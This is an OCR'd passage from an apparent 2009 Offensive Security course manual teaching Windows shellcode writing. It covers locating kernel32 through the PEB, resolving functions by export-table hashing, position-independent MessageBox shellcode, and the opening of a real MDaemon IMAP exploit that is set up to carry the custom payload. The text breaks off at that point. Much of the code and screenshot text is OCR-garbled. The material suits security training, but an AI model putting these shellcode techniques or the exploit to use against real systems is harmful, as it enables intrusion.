because of the nature of the NT architecture. The latter in fact, supports more operating systems APIs (
Win32, 0S5/2, POSIX, DOS/Win16 ) by implementing operating environment subsystems in user mode
that exports particular APIs to client programs’.

Moreover, system call numbers used to identify the functions to call in kernel mode are prone to change
between versions of Windows, whereas for example, Linux system call numbers are set in stone. Last
but not least, the feature set exported by the Windows system call interface is rather limited: for
example Windows does not export a socket API via the system call interface. Because of the above

problems, one must avoid the direct use of system calls to write universal and reliable shellcode on the
Windows platform.

“http://en.wikipedia.org/wiki/System call

http://en.wikipedia.org/wiki/Native API

The Win32 operating environment subsystem is divided among a server process, CSRSS.EXE (Client-Server
Runtime Subsystem ), and client side DLLs that are linked with user applications that use the Win32 API.
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So if we can’t use system calls, how can we talk directly to the kernel? The only option is using the

Windows API exported in the form of dynamically loadable objects (DLL) that are mapped into process
memory space at runtime.

Our goal is to load DLLs into process space (if not already loaded) and find particular functions within
them to be able to perform tasks specific to the shellcode being coded. Again here, we are avoiding the

possibility of hardcoding function addresses to make our shellcode portable across different Windows
versions.

Fortunately, kernel32.dll, which in most of the cases is guaranteed to be mapped into process space™,
does expose two functions which can be used to accomplish both of the above tasks:

* LloadLlibraryA
* GetProcAddress

LoadLibraryA implements the mechanism to load DLLs while GetProcAddress can be used to resolve
symbols. To be able to call LoadLibraryA and/or GetProcAddress, we first need to know the kernel32.dll

base address and because the latter can change across different Windows versions, we need a general
approach to find it.

*®An exception is when the exploited executable is statically linked.
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One of the most reliable techniques used for determining the base address of kernel32.dll, involves
parsing the Process Environment Block (PEB).

PEB is a structure allocated by the operating system for every running process and can always be found
at the address pointed by the FS register FS[0x30]. The FS register on Windows is special, as it always
references the current Thread Environment block (TEB) which is a data structure that stores information
about the currently running thread. Through the pointer at FS[0x30] to the PEB data structure, one can
obtain a lot of information like the image name, the import table (IAT), the process startup arguments,
process heaps and most importantly, three linked lists which reveal the loaded modules that have been
mapped into the process memory space’’.

The three linked lists differ in purposes and their names are pretty self-explanatory:
* InLoadOrderModulelist
* InMemoryOrderModulelList
* IninitializationOrderModulelist

These linked lists show different ordering of the loaded modules. Because the kernel32.dll initialization
order is always constant, the initialization order linked list is the one we will use; in fact, by walking the
list to the second entry, one can extract the base address for kernel32.dll.

Yhttp://en.wikipedia.org/wiki/Win32 Thread Information Block
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The algorithm used to find the base address of kernel32.dll library from PEB is very well described in [20]
and [21], so let's see how this method works:

1. Use the FS register to find the place in memory where the TEB is located and discover the pointer to
the PEB structure at the offset 0x30 in the TEB:

struct TEB({
[...]
struct PEB* ProcessEnvironmentBlock;
i

bi

Xor eax, eax // eax = 0x000000

mov eax, fs:[eax+0x30] // store the address of the PEB in eax
// avoiding NULL wvalues in shellcode

Finding Kernel32.dll base address, Step 1

2. Find the pointer to the loader data inside the PEB structure (PEB LDR DATA) at OxOc offset in the
PEB:

mov eax, [eax + OxOc] // extract the pointer to the loader
// data structure

Finding Kernel32.dll base address, Step 2

3. Extract the first entry in the InitializationOrderModulelist (offset Ox1c) which contains information
about the ntdll.dll module.

struct PEB LDR DATA{
fo-21
struct LIST ENTRY InLoadOrderModuleList;
struct LIST ENTRY InMemoryOrderModulelist; >
struct LIST ENTRY InInitializationOrderModulelist;
&

mov esi, [eax+0xlc]

Finding Kernel32.dll base address, Step 3

Win32 Assem bly Components" by The Last Stage of Delirium Research Group

http://www.dnal.gatech.edu/lane/dataStore/WormDocs/winasm-1.0.1.pdf

21"Unders'canding Windows Shellcode" by skape http://www.hick.org/code/skape/papers/win32-shellcode.pdf
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4. Move through the second entry which describes kernel32.dll; the base address can be found at 0x08
offset.

struct LIST ENTRY({
struct LIST ENTRY* Flink;
struct LIST ENTRY* Blink;
bi

lodsd // grab the next entry in the list

mov edi, [eax+0x8] // grab the kernel32.dll module base address
// and store it in edi

ret // return to the caller

Finding Kernel32.dll base address, Step 4

The following ASM source code executes the logic above:

.388 ; enable 32bit programming features
.model flat, stdeall ; flat model programming/stdecall convention
assume fs:flat

.data ; start data section
.code ; start code section
start:

sub esp, 60h
mov ebp, esp
call Tfind kernel32

find kernel32:
¥Or eax, eax

mov eax; £s:leax+30h] «
mov eax, [eax+0ch]
mov esi, [eax+lch]

lodsd
mov edi, [eax+08h]
ret

end start

END

et A In Uq/tm

Finding Kernel32.dll base address ASM code
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We can now save the source code in an .asm file and compile it with masm32. The “assume fs:flat” has
been inserted as the FS and GS segment registers are not needed for flat-model”* (have a look at [23] for
the stdcall directive).

C:'\Documents and Settmqs admm‘{)esktup\sheﬂcndes\ﬁnd kernel32.asm
F&e Er& Sehact;m Pra]e-:t Tools Coc%e Script Window Heip

@ Cm% Ry e % e ;Eu-_;a \{,’ TR zﬁ ’»Mmzmc«m e
= }“ e

Lt S @Assenﬂen%fﬁe - “2 i
. 386  — i amning Feautures

model § kaomﬁle fodel progranmin tdcall convention(9)
assume G Assemble & Link
aﬁuﬁdﬂsﬂ

-data e B jata section
@ Makeit, bat

-.code ide sect
@ Console LnkOBJFiIe

start: @ Console Assemble & Link
@ Cmsde&uﬁdnﬁ

find kernel32:

Figure 28: Compiling find_kernel32.asm

Running the find_kernel32.exe from OllyDbg and setting a breakpoint at the beginning of the “start”
procedure, we can follow the execution of our shellcode and see that, at the end of the find_kernel32
procedure, EDI register contains 0x7C800000 that is the kernel32.dll base address.

“The .MODEL FLAT statement automatically generates this assumption: ASSUME cs:FLAT, ds:FLAT, ss:FLAT,
es:FLAT, fs:ERROR, gs:ERROR so to avoid errors in "mov eax, fs:[eax+30h]" syntax we need to use fs:flat

Mhttp:/fen.wikipedia.org/wikilXSG calling conventions
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' Dllthg - find_kernel32.exe - [(PU - main thread, module
____ File view Debug Plugins Options Window Help

_J_J_I Lalll] tii:l J:JJ 4 # LIE|M
“ S sugm find ker.o0401002 pegtizwf,'{#ﬁw“ ¥

N EBP,ESF

CFI.L Ftnd,,ker G941 aaC
WOR EAR, EHX i
Muu Efs DMUP& PTR FV-EEQK+3Q’ i
HOU Ef. DWORD PTR (214

Eg;aEﬂé DHUEQ Fér S LEQR+1££ i ey ;

| Bl ORD FTR 0S:(EST) -
{10 : MU EDT. OWORD PTR 0 -'Eq«+9ﬂ:“WH:>
| 6840101 C LA RETH BRag1eit Find

L

Figure 29: kernel32.dll base address in EDI register

You may have noticed that if we leave our shellcode running, the program will crash; this happens as we
didn’t place any “exit” function after the “ret” of our find_kernel32 procedure, don’t worry we will fix
this in next shelicode version. We also excluded instructions needed to make the shellcode compatible
with Windows 98 systems for simplicity**

Other two widely used methods to discover the kernel32 base address are the “SEH” method and the
“Top Stack” method. These methods are well explained in [20] and [21].

1) Repeat the required steps in order to find kernel32.dll base address in memory.

2) Take time to see how the double linked list InitializationOrderModuleList works in memory, using the
“Follow in Dump” OllyDbg function.

*This compatibility feature is included and explained in "Understanding Windows Shellcode" paper [21]
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So now we have the kernel32 base address, but we still need to find out function addresses within

kernel32 {and others DLLs). The most reliable method used to resolve symbols, is the “Export Directory
Table” method well described in [21].

DLLs have an export directory table which holds very important information regarding symbols such as:
* Number of exported symbols
* RVA of export-functions array
* RVA of export-names array

* RVA of export-ordinals array

The one-to-one connection between the above arrays is essential to resolve a symbol. Resolving an
import by name, one first searches the name in the export-names array. If the name matches an entry
with index i, the /" entry in the export-ordinals array is the ordinal of the function and its RVA can be
obtained by the export-functions array. The RVA is then translated into a fully functional Virtual Memory
Address (VMA) by simply adding the base address of the DLL library. Because the size of shellcode is just
as important as its portability, in the following method, the search by name of a symbol is made using a
particular hashing function which optimizes and cuts down the string name to four bytes.

This algorithm produces the same result obtained by the GetProcAddress function mentioned before
and can be used for every DLL. In fact, once a LoadLibraryA symbol has been resolved, one can proceed

to load arbitrary modules and functions needed to build custom shellcode, even without the use of the
GetProcAddress function.
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Let's see the Export Directory Table Method in action analyzing ASM code “chunk by chunk”:

find function:

pushad __/'{ ; Save all registers
mov ebp,/ edi ; Take the base address of kernel32 and
; put it in ebp

(D mov eax, [ebp + 3ch] ; Offset to PE Signature VMA
mov edi, [ebp + eax + 7Bh] ; Export table relative offset
add edi, ebp ; Export table VMA

*_—'mv ecx, [edi + 18h] ; Number of names
mov ebx, [edi + 20h] ; Names table relative offset
add ebx, ebp ; Names table VMA
find function loop:

jecxz find function finished ;s Jump to the end if ecx is O
dec ecx ¢ Decrement our names counter

@ mowv esi, [ebx + ecx * 4] ‘; Store the relative offset of the name
add esi, ebp ; Set esi to the VMA of the current name

Finding Export Directory Table VMA

We start saving all the register values on the stack as they will all be clobbered by our ASM code
(pushad). We then save the kernel32 base address returned in ED/ by find_kernel32, into EBP. (EBP will
be used for all the VMAs calculations).
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As seen below, we proceed identifying the offset value needed to reach the PE signature® (“mov
eax,[ebp + 3ch]”)

Si

pos 2 o &
e | | DOS_PartFag = f144, ) Rt
oul i DDS_Pagelnt = 32 _]
il i DOS _Relolnt = B
oo | DOS_HdrSize = 4
Qong Ot | DOS HMinflen =
FFFF | Dot | DOS_MaxMem = FFFF (68536.)
E aens + Dl =8
BE0G | Dt
BEne | D i
aaac | Dl | _Eu
BOR0 Ol DOS_Reiols = @
4808 ] DOS_TablOfs = 48
B ol gg DOS_Duerlay = @
8 e
o (DB e
e iDB 98
28 (OB B0
o | DE @
e | DB B8
sl | OB @8
s (DB &8
i | DB a0
5] (DB a8
Ly | OB 88
oo DB 60
e OB Bo
ae DB a8
o (OB 89
ag | DE 80
. | DB 8
.5 | OB 0
= | DE B8
o |DE 89
oa | DE 90
fe | OB &8
b DB B8
o DB 89
e (DB el
24 (DB aa
o (Ol 80
ae DE @0
. e
-
E& Offser to PE signature

Figure 30: PE Signature

*The PE header starts with the 4-byte signature "PE" followed by two nulls.
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We then proceed by fetching the Export Table relative offset (“mov edi, [ebp + eax + 78h]”) and
calculating its absolute address (“add edi, ebp”), as seen below.

TimeDateStanp = 4623
Fo mterTo’é‘f;nmlTable = @
Humber(FSymbols = @ i
SizeDflpt \onuLHeivde. = EB (224,
Charactepristios = OLLIEXECUTABL
Magictunber = PEZZ
Nasorl inkerUersion
mnom-u.iqu‘ers;Qn A8,
StzelfCode = S2208 (S22892, 1
n?sl)flmr ializedDats = 7OGOA |
s DFUR initializedDaty = &
ﬂf}dr’ﬁf)ﬂ‘Erlt[JF Ifl' = BSRE
Basel¥iode =
BaceDilars = rFM&\
insgeBaze = TO200000
Sect ionkl lgnment = 1008
FileRlignment =
HajordSilersio
MinorQStiers ion

24

22 SERERREERRREETEET

=5
= 1

a6 Hejor Imsgeliersion = §
BLoa Ol ] Insgetlerzion = |
2 Cikgh absystemtlersion = 4
20 ‘Ol @ : mno ubsystesilersion = @
g 11} . Reserved
BAE3AFGG 0D Sizeld lmage = FEOBH liE\IB?-‘R&‘iml
@i 0D | SizefifHeaders = 488 (1824,
DITIOF B0 (00 BooF 9293 i Checksum = F?‘-”Q
(g @03 . Bubsusten FAGE_ SUBSVETEM_WIN
D GBed i Di.i.%azracterest les = 8
fs s ] (OD 2R040060 i 3§ § Teserve = 40GHE {2627
B | et (DD BB Eeg ommit = 13&3 [ 483,
ey | O (00 G0 a0000 l&:@é}@ iii’ﬂi
5] Baan0 g ] 1 GG
BAGGRAGD DO coasooog
1 GG (D0 eRaacnia
1L 2eaa00 | DD eeRazZe1C
i TEACHB00 00 eeaascy
Cavasan 00 688 T
Zo00aau 0D Baee:
L 00 e €
ECEE deai s 1] SEEE! Rerource e si2
iy (0D o aaa0 : Enception Tabie addr
i i 7] | Exception Table size
BB el Carsif icate File point
+ & 3 L0 eeasGaian C ate :
POFOIEDD 0D DOGEFO00 F" locat ion Tabile addre

Figure 31: Export Table Offset

2

From the Export Directory Table VMA, we fetch the total number of the exported functions (mov ecx,

M’ , ECX will be used a ) and the RVA of the export-names array which is then added
to the kernel32 base address to obtain its VMA (“mov ebx,[edi + 20h] ; add ebx, ebp”).
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The find_function loop is then started and checks if ECX is zero, if this condition is true then the
requested symbol was not resolved properly and we are going to return to the caller.

find function:

pushad i Save all registers

mov ebp, edi ;i Take the base address of kernel3? and
; put it in ebp

Offset to PE Signature VMA
Export table relative offset
Export table VMA

Number of names

Names table relative offset
Names table VMA

mov eax, [ebp + 3chi

mov edi, [ebp + eax + 78h]
add edi, ebp

mowv ecx, [edi + 18h]

mov ebx, [edi + 20h]

add ebx, ebp

Neo M ma e wE N

find function loop:
jecxz find function fun,shed. ; Jump to the end if ecx is 0
dec ecx
mov esi, [ebx + ecx * 4]
add esi, ebp

Decrement cur names counter
Store the relative offset of the name
Set esi to the VMA of the current name

e e >

Finding Export Directory Table VMA

ECX is immediately decreased (array indexes start from zero). The i function’s relative offset is fetched
(“mov esi, [ebx + ecx * 4]”) and then turned into an absolute address. The following drawing shows an
example of how the VMA of the third function name AddAtomW is retrieved (ECX=2).

Export Names Array
» INDEX 0 INDEX 1 INDEX 2 INDEX ith
i 0x634B0000 | 0x?24BO{}00 Ox?&zsoeeo L OXXXXXXXXX |
Y \/ y \
ActivateActCtx AddAtomA AddAtomW ithFunction

ebx (Export Names Array VMA, points to the first element)

dec ecx ecx = ith function
mov esi, [ebx + ecx * 4] esi contains RVA of function name
add esi, ebp esi contains VMA of function name

Figure 32: Retrieving the third Function Name VMA in Export Names Array, ECX=2
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Computino R

At this point the ES/ register points to the i function name and the routines responsible for computing

hashes are started:

e

compute hash:

Xor eax, eax
U 5
eld

—Gompute_hash again:
lodsb
test al, al
Jj=z compute hash finished
ror edx, 0dh
add edx, eax
jmp compute hash again
compute hash finished:
find function compare:
b2

Compute Function Names Hash Routines

Zero eax
Zero edx
Clear directiocn

Load the next byte from esi into al

Test ourselves.

If the ZF is set,we've hit the null temrm
Rotate edx 13 bits to the right

2dd the new byte to the accumulator
Next iteration

Both the EAX and EDX registers are first zeroed and the direction flag is cleared® to loop forward in the
string operations”’. The loop begins and byte by byte the 4 byte hash is computed and stored in the EDX
register, which acts as an accumulator. At each iteration a check on the AL register is performed (“test
a1,a1”) to see if the string has reached the termination null byte. If this is the case, we jump to the
beginning of the find_function_compare (via compute_hash_finished label) procedure.

But how does the hash function exactly work? Let’s take a closer look at the three following instructions:

1. ledsb

il

2. ToF edx, 0Odh
3¢ add edx, eax

ASM Function Name Hashing

*In assembly, the cld instruction stands for "clear direction flag". Clearing direction flag will cause the string
instructions done forward. The opposite command is std which stands for "set direction flag".

”cdq instruction converts a double word into a quadword by means of sign extension. Sign extension means that

the sign bit in eax (bit 31), is copied to all bits in edx. The eax register is the source and the register pair edx:eax
is the destination. The cdq instruction is needed before the idiv instruction because the idiv instruction divides
the 64 bit value held in edx:eax by a 32 bit value held in another register. The result of the division is the
quotient, which is returned in eax and the remainder which is returned in edx.
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The first instruction loads the n byte from ES/ to AL and increments ES/ by 1 byte. The EDX register is
then RORed by 13 bits. ROR rotates the bits of the first operand (destination operand) by the number of

bit positions specified in the second operand (count operand) and stores the result in the destination
operand. The byte loaded in AL is then added to the rored EDX register.

We can write a simple python script that performs the same operation so that we will be able to
compute the hash of a function name in order to search for it inside our shellcode®:

#!/usr/bin/python
import numpy, sys

def ror str{byte, count):

mu® Ror a byte by 'count' bits """

# padded 32 bit

binb = numpy.base repr(byte, 2}.zfill(32)

while count > 0:
# ROTATE BY 1 BYTE : example for 0Ox4l
# 00000000000000000000000001000001
binb = binb[-1] + binbl0:-1]
# 1000000000000C000000C00000100000
count -= 1

return (int (binb, 2})

if name == 1 main o 1
try:
esi = sys.argvii]
except IndexError:

print "Usage: $s INPUTSTRING" % sys.argv[0]
sys.exit ()

# Initialize variables

edx = 0xz00

ror count = 0

for eax in esi:
edx = edx + ord(eax)
if ror count < lenf{esij-1:

edx = ror striedx, Oxd)

ror _count += 1

print hex(edx)

ASM Function Name Hashing

“*Please note that the ROR function in the script, rotate bits using a string representation of a binary number. A
correct implementation would use shift and or bitwise operators combined together ( h<<5 | h>>27). The

choice to use string operations is due to the fact that is simpler to visualize bit rotations in this way for the
student.

78 © All rights reserved to Offensive Security, 2009




Ok let's try it computing the "ExitProcess" function name:

root@bt # ./hash_funchname.py ExitProcess
Ox73e2d87e

PyHashing Function Names

We will use the hash computed (0x73e2d87e) to resolve its symbol inside kernel32.dll. Take time to play

with the above script, to better understand the hashing algorithm used in the Export Directory Table
Method.

Fetching Function’s \

We are almost there! Every time a hash is computed, find_function_compare is called through the jz
compute_hash_finished, to compare it to the hash previously pushed on the stack as a reference.

compute hash:

b el eax, eax ; Zero eax
cdg ; Zero edx
cld ; Clear direction
compute hash again:
lodsb i Load the next byte from esi into al
test &1, al ; Test ourselves.
jz compute hash finished ; If the ZF is set,we'wve hit the null term
: oo edx, 0Odh ;7 Botate edx 13 bits to the right
add  edx, eax ; Bdd the new byte to the accumulator
jmp compute hash again ; Next iteration

compute hash finished:
find function compare:

cmp edx, [esp + 28h] ; Compare the computed hash with the
; requested hash

jnz find function loop ; No match, try the next one.

mov ebx, [edi + 24h] ; Ordinals table relative offset

add ebx, ebp ; Ordinals table VMA

mov cx, [ebx + 2 * ecx] ; Extrapolate the function's ordinal

mov ebx, [edi + 1ch] ; Address table relative offset

add ebx, ebp ; Address table VMA

mov eax, [ebx + 4 * ecx] ; Extract the relative function offset
; from its ordinal
add eax, ebp ; Function VMA

mov [esp + 1lch], eax ; Overwrite stack version of eax

; from pushad

find__f‘unction*fini shed:

popad ; Restore all registers

ret ; Return

Compute Function Names Hash Routines
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If the hash matches, we fetch the ordinals array absolute address (“mov ebx, [edi + 24h] ; add ebx, ebp”)
and extrapolate the function’s ordinal (“mov cx, [ebx + 2 * ecx]”). The method is similar to the one used
to fetch the function’s name address; the only difference is that ordinals are two bytes in size. Once
again, with a similar method, we get the VMA of the addresses array (“mov ebx, [edi + 1ch] ; add ebx,
ebp”), extract the relative function offset from its ordinal (mov eax, [ebx + 4 * ecx]), make it absolute
and place it onto the stack replacing the old EAX value before popping all registers with the “popad”
instruction.

The following example shows the whole process of searching for the ExitProcess function address. Once
the symbol has been resolved we call the function to cleanly exit from the process. Now let's compile
the ASM code and follow the whole process with OllyDbg to understand the method described above.

. 386 ; enable 32bit programming features
-model flat, stdecall ; flat model programming/stdcall convention (9)
assume fs:flat

.data ;i start data section
.code i start code section
sStayt:

Jmp entry
entry:

sub esp, 60h

jilapn ebp, esp

call find kernel32

push 73e2d87eh ;ExitProcess hash

push edi

call find function

XOr ecx, ecx iZero ecx

push ecx ;Exit Reason

call eax ;ExitProcess

find kernel32:

X0r eax, eax
mov eax, f£s:[eax+30h]

mov eax, [eaxtOch]
mov esi, [eax+lch]
lodsd
mov edi, [eaxz+08h]
ret

find function:
pushad
mov ebp, edi
mov eax, [ebp + 3ch}
mov edi, [ebp + eax + 78h]
add edi, ebp
mov ecx, [edi + 18h]
mov ebx, [edi + 20h]
add ebx, ebp

find funttion loop:
jecxz find function finished

dec ecx
mov any,
add €31,

[ebx
ebp

T oesx xod]

Save all registers

Take the base address of kernel32 and
put it in ebp

Offset to PE Signature VMA

Export table relative offset

Export table VMA ;

Number of names

Names table relative offset

Names table VMA

Jump to the end if ecx is 0
Decrement our names counter
Store the relative offset of the name
Set esi to the VMA of the current name

80 © All rights reserved to Offensive Security, 2009




compute hash:

XOor eax, eax ; Zero eax
cdg : Zero edx
cld ; Clear direction
compute hash again:
lodsb ; Load the next byte from esi into al
test al, al ; Test ourselves.
jz compute hash finished ; If the ZF is set,we've hit the null termm
ror edx, Odh ; Rotate edx 13 bits to the right
add edx, eax ;i Add the new byte to the accumulator
jmp compute hash again ; Next iteration

compute hash finished:
find function compare:

cmp edx, [esp + 28h] ; Compare the computed hash with the
i requested hash

inz find function loop ; Wo match, try the next one.

mowv ebx; [edi + Z4h] ; Ordinals table relative offset

add ebx, ebp ; Ordinals table VMA

mov cx, [ebx + 2 * pex] ;i Extrapolate the function's ordinal

mov  ebx, [edi + 1ch] ; Address table relative offset

add ebx, ebp i Address table VMA

mov eax, [ebx + 4 * ecu] ; Extract the relative function offset
; from its ordinal

add eax, ebp ; Function VMA

mov [esp + 1ch], eax ; Overwrite stack version of eax

; from pushad
find function finished:

popad ; Restore all registers
ret ; Return
end start

END

ExitProcess shellcode ASM code

1) Repeat the required steps in order to fully understand how to resolve symbols once kernel32 base
address has been obtained.
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¥ Shellcode

Now that we grasp the theory, we are going to write a custom MessageBox shellcode using the

following steps: ‘.
g step /;}( -
Hh

: g as
*  Find kernel32.dll base address S
el . W/LE
. o R
* Resolve ExitProcess symbol 5{{-( /p:: 4_&&
~7 V14 i
ren
* Resolve LoadLibraryA symbol
* Load user32.dll in process memory space
* Resolve MessageBoxA function within user32.dll
* Call our function showing "pwnd" in a message box
*  Exit from the process
Q(ere is presented the ASM code for the new version of the shellcode:
|Jh . 386 ; enable 32bit programming features
Q“ .medel flat, stdeall : flat model programming/stdcall convention(9)
assume fs:flat
! ata i start data section
. code ; start code section
start:
\:}5 jmp entry
entry:
sub esp, &0h
mov  ebp, esp
call find kermel32
resolve symbols kernel32: iedi -> kernel32.d411 base
;i Resolve LoadLibrarya
push OecfedeBeh :LoadLibraryh hash
push edi
call find function
mov [ebp + 10Rh], eax istore function addy on stack
; Resolve ExitProcess
push 73e2dB7eh ;ExitProcess hash
push edi
call find function
mov [ebp + 1lch]l, eax ;store function addy on stack
resolve_symhols_useraz: ;Load user32.dll in memory
XOr eaX,; eax
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mov
push
push
push
call
mowv

ax,
eax

3233h

T2657375H

esp

dword ptr [ebp + 10h]

edi,

cax

; Besolve MessageBoxA

push
push
call
mov

Obcddaz2abh

edi

find function
[ebp + 18h], eax

exec shellcode:
; Call "pwnd" MessageBoxh

¥or

eax,

push eax

push
push
pop

edx

646277700
esp
erx

> use‘g’?,

;Pointer to
;Call LoadLibrarya -
;edi -> user32.dll base

‘user3a!

sstore function addy on stack

ipwnd string

ipwnd string

:pointer to pwnd
;store pointer in ecx

; Push MessageBoxA args in reverse order

push
push
push
push

eax
eCcx
eCx
eax

;i Call MessageBoxh
call dword ptr [ebp + 18h]

; Call ExitProcess

2O 20X, ecx

push ecx

call dword ptr [ebp + 1lch]

find kernel32:

XOr eax, eax

mov easx,
mov eax,
mov esi,

lodsd

mov edi,

Eat

find function:
pushad

mow

mov
buileyis
add
mov
mov
add

ebp,

eax,
edi,
edi,
ecx,
ebx,
ebx,

[eax+08h]

}nf-"- eaﬂ' :;"éqﬁe)

edi
[ebp
lebp
ebp
[edi
[edi
ebp

findﬁﬁunction“loop:
jecxz find function finished

dec
mov
add

compute hash:
xor

ecx
ZRd
esi,

eax,

fs: [eax+30h]
[eax+0ch]
[eax+lch]

3ch]
eax + 78h]

18h]
20h]

[ebx + ecx * 4]

ebp

sgax

;Zero ecx
+Ex1it Reason

W“+ = Lo

Save all registers wtyr"fb’m
Take the base address of Eessml3? and
put it in ebp

Offset to PE Signature VMR

Export table relative offset

Export table VMA

Number of names

Names table relative offset

Names table VMA

Jump to the end if ecx is O
Decrement our names counter
Store the relative offset of the name
Set esi to the VMA of the current name

Zero eax
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cdg ; Zero edx
cld ;7 Clear direction

compute hash again:

lodsb ; Load the next byte from esi into al

test al, al s Test ourselves.

jz compute hash finished s If the ZF is set,we've hit the null term
ror edx, 0dh ;7 Rotate edx 13 bits to the right

add edx, eax ; Add the new byte to the accumulator

jmp compute hash again ; Next iteration

compute hash finished:
find function compare:
cmp edx, [esp + 28h] Compare the computed hash with the
requested hash
jnz  find function loop Neo match, try the next one.
|OV ebx, [edi + 24h] ; Ordinals table relative offset
add ebx, ebp ; Ordinals table VMA
mov ¢x, [ebx + 2 * eax] Extrapolate the function's ordinal
mov ebx, [edi + 1ch] Address table relative offset
add ebx, ebp Address table VMA
mov eax, [ebx + 4 * ecx] Extract the relative function offset
s from its ordinal
Function VMA
Overwrite stack wersion of eax
from pushad

malin

e e wa e

add eax, ebp
mov {esp + 1lch], eax

e e me

find function finished:
popad i Restore all registers

et ; Return
end start

END

MessageBox Shellcode ASM code

There are a couple of new things in the above shellcode to note:

* We loaded user32.dllin memory by pushing its name on the stack and then invoking
LoadLibraryA;

* We pushed on to the stack all the MessageBox arguments before calling the function itself. The
MessageBoxA function has the following prototype:

int MessageBox|( HWND hWnd, // Owner Window

LECTSTR lpText, // Message

LECTSTR lpCaption, // Caption

UINT uType // Behaviour (default: 0Ok)
)z
MessageBox Prototype
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1) Compile the above ASM code and follow the shellcode through the debugger.
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Our shellcode seems ok, but there’s a problem that you might have noticed, we have some null bytes in
the ASM code due to the “call find_function” opcodes (E8 XX000000). To avoid the null bytes, we are
going to use a technique which allows us to write a piece of code that doesn’t care about where it will

be loaded. The ASM code will be position independent in order to be able to be injected anywhere in
memory.

The technique exploits the fact that a call to a function located in a lower address doesn’t contain null
bytes and moreover it pushes on to the stack the address ahead of the call instruction itself. A “pop
reg32” will then fetch an absolute address that will be used as a “base address” in the shellcode.

OllyDbg - MessageBoxA.exe - - [CPU - main thread, module
E(i} File VYiew Debug 3 Plugins Options Window Help

f_J Ox] wlnf i+ g ) =1 L]E|M]

-’?'VEB 8@ ?JHP $HORT ﬂe'ssageﬁ?- abd4ning2

515 ! > B3EC &8 | SUB ESP, 68

it #4511 . BBEC | MOU EBF,ESF

80401087 | . ES S3000000  CALL f‘fi?“SSElQEB B848165F

a1 aaCig . 68 SE4EGEEC FHHH ELBE4ES
> PUSH EDI
. EQ Cognaa60 CALL MessageB. 88481670

Figure 33: NULL bytes in shellcode

find function shorten:

jmp find function shorten bnc
find function ret:

pop esi

sub esi, 0Oxxh
find function:

[...] 7 Oxxh bytes length
find function shorten bnc:

call find function ret

Position Independent Code

In the above code the ES/ register will contain a find_function absolute address that can then be used in
following calls within the shellcode.
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Below we can see how this follows the
technique:

modified version of MessageBoxA in which we applied the PIC

. 386
.model flat, stdcall
assume fs:flat

.data
. code
start:
jmp entry
entry:
sub esp, 60h
mowv ebp, esp
find kernel32:
XOr eax, eax
mov eax, fs:[eax+30h]
mov eax, [eax+0ch]
‘mov esi, [eax+lch]
lodsd
mov edi, [eax+0Bh]

find function shorten:

jmp find function shorten bnc
find_funation_ret:

Pop esi

sub esi, 050h

jmp resolve symbols kernel32

find function:

pushad

mov ebp, edi

mov eax, [ebp + 3ch]

mov edi, [ebp + eax + 78h]
add edi, ebp

mov ecx, [edi + 18h]

mnowv ebx, [edi + 20h]

add ebx, ebp

find function loop:
Jecxz find function finished

dec ecx
mowv esi, [ebx + eocx * 4]
add esi, ebp
compute hash:
Xor eax, eax
cdg
cld
compute hash again:
lodsb
test al, al
iz compute hash finished
ror edx, 0Odh
add edx, eax
Jmp compute hash again

; enable 32bit programming features

flat medel programming/stdcall convention{9)

start data section

start code section

Save all registers
Take the base address of kernel32 and

put it in ebp

Offset to PE Signature VMA
Export table relative offset
Export table VMR

NHumber of names

Names table relative offset
Names table VMA

Jump to the end if ecx is 0

Decrement our names counter

Store the relative offset of the name
Set esi to the VMA of the current name

Zero eax
Zero edzx
Clear direction

Load the next byte from esi into al
Test ourselves.

If the ZF is set,we'we hit the null
Rotate edx 13 bits to the right

Add the new byte to the accumulator
MNext iteration

term
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[ compute hash finished:
find function compare:
cmp edx, [esp + Z2Bh]

qnz find function loop
mov ebx, [edi + 24h]

add ebx, ebp

mov cx, [ebx + 2 * ecx]
mov ebx, [edi + 1lch]

add ebx, ebp

mov eax, [ebx + 4 * ecx]

add eax, ebp
mov [asp + 1ch], eax

find function finished:
popad
ret

find function shorten bnc:
call find function ret

resolve symbols kernel32:
; Resolve LoadLibraryh
push OecOedeBeh
push edi
call ‘esi
mov {ebp + 10h}, eax

; Resolve ExitProcess
push 73e2dB87eh

push edi
call esi
mov febp + 1ch], eax

resolve symbols user32:
sLoad user32.dll in memory
Xor eax, eax
mov ax, 3233h
push eax
push 72657375h
push esp
call dword ptr [ebp + 10n]
mov edi, eax

; Resolve MessageBoxlh
push ObcddaZaBh

push edi

call esi

mov [ebp + 1Bh], eax

exec shellcode:
;i Call "pwnd" MessageBoxA
xor eax, eax
push eax
push 646e7770h
push esp
pop ecx

i Compare the computed hash with the
; requested hash

; No match, try the next one.

; Ordinals table relative offset

: Ordinals table VMA

i Extrapolate the function's ordinal
i Address table relative offset

; Bddress table VMA

; Extract the relative function offset
; from its ordinal

; Function VMA

; Overwrite stack version of eax

¢ from pushad

;{ Restore all registers
; Return

:edi -> kernel32.dll base

;LoadLibraryA hash

;store function addy on stack

;ExitProcess hash

;store function addy on stack

iPointer to 'user3a?
;Call LoadlLibraryh
;jedi => user32.411 base

istore function addy on stack

spwnd string

;pwnd string

;pointer to pwnd
istore pointer in ecx

; Push MessageBox@L args in reverse order

push eax
push ecx
push ecx
push eax
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i Call MessageBoxA
call dword ptr [ebp + 18h]

i Call ExitProcess
XOor ECX,; ecx :Zero ecx
push ecx ;Exit Reason
call dword ptr [ebp + 1lch]

end start

END

MessageBox Shellcode (PIC Version)

1) Compile the above code and follow the execution flow to fully understand the PIC technique.
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exploit

It's time to test our custom shellcode with a real exploit! We'll use a Mdaemon IMAP Exploit for a
vulnerability we discovered in 2008. The vulnerability is a "post authentication” and the exploit uses the
SEH Overwrite technique to gain code execution.

The following code was fetched from milwOrm - in which we replaced the existing bind shell payload
with our MessageBoxA custom shellcode®:

#!/usr/bin/python

from socket import *
from optparse import OptionParser
import sys, time

print "[**%*i*k\k***#***i***k*****kki*******i*i*i*&******k**t**t******ii******]“
prins Mix *qm
pring "* MDAEMON (POST AUTH) REMCTE ROOT IMAP FETCH COMMAND EXPLOIT rn
pring "ir DISCOVERED AND CODED T
primt "[* by *m
prime i MATTEQ MEMELLT 218
print "[* (ryujin) *]“
primt " wWww.bedmind. com - www.gray-world.net H
print Tix *n
prlnt "‘{*****-A—kft*iiriz-k*****kk*t*********i*k*********i—*it********kk%i****ﬁ*\&**Jr]l‘
usage = "%prog -H TARGET HOST =P TARGET PORT -1 USER -p PASSWD®

